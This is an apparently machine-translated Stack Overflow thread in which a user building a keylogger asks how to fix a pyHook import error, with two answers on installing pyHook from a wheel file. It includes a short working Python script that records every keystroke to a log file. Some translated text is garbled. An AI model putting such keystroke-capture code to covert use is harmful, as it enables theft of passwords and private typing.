我尝试过安装PyHook,但仍然会遇到错误:
ImportError:没有名为‘py钩子’的模块
请给我一个解决办法。我如何解决这个错误。
我在做一个关键记录器程序。
**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()请参考屏幕截图中的错误。
发布于 2016-08-10 18:37:07
首先,只需检查您正在运行的python版本,在我的例子中,当我输入python时,我会看到:
Python2.7.11 (v2.7.11:6d1b6a68f775,2015年12月5日,20:40:30)
这意味着我需要安装python2.7的64位版本,最简单的方法是下载本网站提供的py钩子包,然后将其保存在您的虚拟目录(如果您正在使用)或您的python文件夹中。然后打开命令提示符,转到下载包的路径,只需键入pip install the_name_of_your_package.whl,例如,如果您运行python2.764位,您可以键入:
pip安装pyHook-1.5.1-cp27-无-win_amd64.whl
一旦安装正确,您的脚本就可以正常工作了。
发布于 2016-08-10 18:42:01
第一次。如果您想要PyHook,您必须自己下载它,因为它不是python附带的标准python库的一部分。你可以用我的方法来安装它。但我推荐的方式是:
1。从PyHook页面下载这。确保下载的内容与您的python版本和位号(32或64)匹配。
2。下一步,在命令提示符/终端窗口中键入:
pip安装完整路径和.whl文件名
此命令告诉pip安装PyHook for。在我的例子中,我输入:
pip安装C:\pyHook-1.5.1-cp35-无-win_pip 64.win‘
在这样做之后,您的脚本应该没有任何问题地运行。如果使用此方法确实遇到任何问题,请检查是否安装了正确的python版本和正确的位号。
https://stackoverflow.com/questions/38880842
复制相似问题